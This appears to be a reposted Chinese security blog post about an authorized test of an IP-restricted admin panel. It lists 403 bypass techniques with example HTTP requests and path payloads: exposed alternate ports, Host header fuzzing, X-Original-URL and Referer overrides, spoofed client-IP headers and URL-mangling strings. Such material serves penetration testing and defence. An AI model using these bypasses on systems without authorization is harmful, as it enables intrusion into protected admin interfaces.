1. 程式人生 > 其它 >記一次403繞過技巧

記一次403繞過技巧

文章來源:酒仙橋六號部隊

連結:http://www.sins7.cn/remember-a-403-bypass-technique/

背景

記一次接到客戶的一個需求,後臺管理地址(https://xxx.xxxx.com)僅允許工作區公網出口訪問,對於IP的訪問限制是否存在缺陷可以繞過,外網進行訪問返回403狀態碼。

實戰

姿勢一: 埠利用

拿到客戶給的地址後,首先進行資訊收集。埠資訊收集,利用nmap進行全埠探測,發現除了80埠之外,還開放了一個web服務的8001埠,我們嘗試使用8001埠訪問(https://xxx.xxxx.com:8001),總是充滿驚喜。可直接繞過IP限制進行訪問。怕是這個運維要挨錘了,立馬把這個問題,反饋給客戶。

https://iamadmixxx.xxx.xxx:8001/auth/login

通過溝通,由於疏忽未下線8001埠,客戶貌似認為這個很簡單,關閉8001埠,下線業務後,讓我們繼續嘗試後臺能否繞過。

姿勢二:修改HOST

我們先說下Host在請求頭中的作用,在一般情況下,幾個網站可能會部署在同一個伺服器上,或者幾個 web 系統共享一個伺服器,通過host頭來指定應該由哪個網站或者web系統來處理使用者的請求。

而很多WEB應用通過獲取HTTP HOST頭來獲得當前請求訪問的位置,但是很多開發人員並未意識到HTTP HOST頭由使用者控制,從安全形度來講,任何使用者輸入都是認為不安全的。

 

當伺服器獲取HOST的方式不當時,我們可以通過修改Host值來進行繞過。首先對該目標域名進行子域名收集,整理好子域名資產(host欄位同樣支援IP地址)。先Fuzz測試跑一遍收集到的子域名,這裡使用的是Burp的Intruder功能。

往往成功也離不開運氣,看到一個服務端返回200的狀態碼。成功找到一個在HOST白名單中的子域名。我們利用firefox外掛來修改HOST值,成功繞過訪問限制。

另闢蹊徑,效果越出彩,而且技巧也遠遠不止上面提到的一小部分。

在這裡我們總結一下403繞過技巧

姿勢三:覆蓋請求URL

嘗試使用X-Original-URL和X-Rewrite-URL標頭繞過Web伺服器的限制。

介紹:通過支援X-Original-URL和X-Rewrite-URL標頭,使用者可以使用X-Original-URL或X-Rewrite-URL HTTP請求標頭覆蓋請求URL中的路徑,嘗試繞過對更高級別的快取和Web伺服器的限制。

示例:

Request
  GET /auth/login HTTP/1.1
  Response
  HTTP/1.1 403 Forbidden

  Reqeust
  GET / HTTP/1.1
  X-Original-URL: /auth/login
  Response  HTTP/1.1 200 OK

  or

  Reqeust
  GET / HTTP/1.1
  X-Rewrite-URL: /auth/login
  Response
  HTTP/1.1 200 OK

Burp學院實驗室進行演示,首先普通使用者訪問admin頁面會被限制,要使用admin使用者登入才行。點選 管理面板(Admin panel)burp抓包檢視,服務端返回403,”Access denied”禁止訪問。

在Header頭中新增X-Original-URL標頭,發現已經有許可權可以刪除Administrator、carlos、wiener 帳號的管理員許可權。

姿勢四:Referer標頭繞過

嘗試使用Referer標頭繞過Web伺服器的限制。

介紹:Referer 請求頭包含了當前請求頁面的來源頁面的地址,即表示當前頁面是通過此來源頁面裡的連結進入的。服務端一般使用 Referer 請求頭識別訪問來源。

示例:

Request
GET /auth/login HTTP/1.1
Host: xxx
Response
HTTP/1.1 403 ForbiddenReqeust
GET / HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/loginResponseHTTP/1.1 200 OKorReqeust
GET /auth/login HTTP/1.1
Host: xxx
ReFerer:https://xxx/auth/login
Response
HTTP/1.1 200 OK

Burp學院實驗室進行演示,使用非管理員憑據登入後,瀏覽/admin-roles?username=carlos&action=upgrade 服務端返回401未進行認證,無許可權訪問。

在Header頭中新增Referer標頭,服務端提示302表示請求成功,使用Referer標頭繞過Web伺服器的限制。

姿勢五:代理IP

一般開發者會通過Nginx代理識別訪問端IP限制對介面的訪問,嘗試使用 X-Forwarded-For、X-Forwared-Host等標頭繞過Web伺服器的限制。

- X-Originating-IP: 127.0.0.1
- X-Remote-IP: 127.0.0.1
- X-Client-IP: 127.0.0.1
- X-Forwarded-For: 127.0.0.1
- X-Forwared-Host: 127.0.0.1
- X-Host: 127.0.0.1
- X-Custom-IP-Authorization: 127.0.0.1

示例

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 401 UnauthorizedReqeust
GET /auth/login HTTP/1.1
X-Custom-IP-Authorization: 127.0.0.1
Response
HTTP/1.1 200 OK

姿勢六:副檔名繞過

基於副檔名,用於繞過403受限制的目錄。

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com//admin// => 200
site.com/admin/* => 200
site.com/admin/*/ => 200
site.com/admin/. => 200
site.com/admin/./ => 200
site.com/./admin/./ => 200
site.com/admin/./. => 200
site.com/admin/./. => 200
site.com/admin? => 200
site.com/admin?? => 200
site.com/admin??? => 200
site.com/admin..;/ => 200
site.com/admin/..;/ => 200
site.com/%2f/admin => 200
site.com/%2e/admin => 200
site.com/admin%20/ => 200
site.com/admin%09/ => 200
site.com/%20admin%20/ => 200

 

 

 

 

文章來源:酒仙橋六號部隊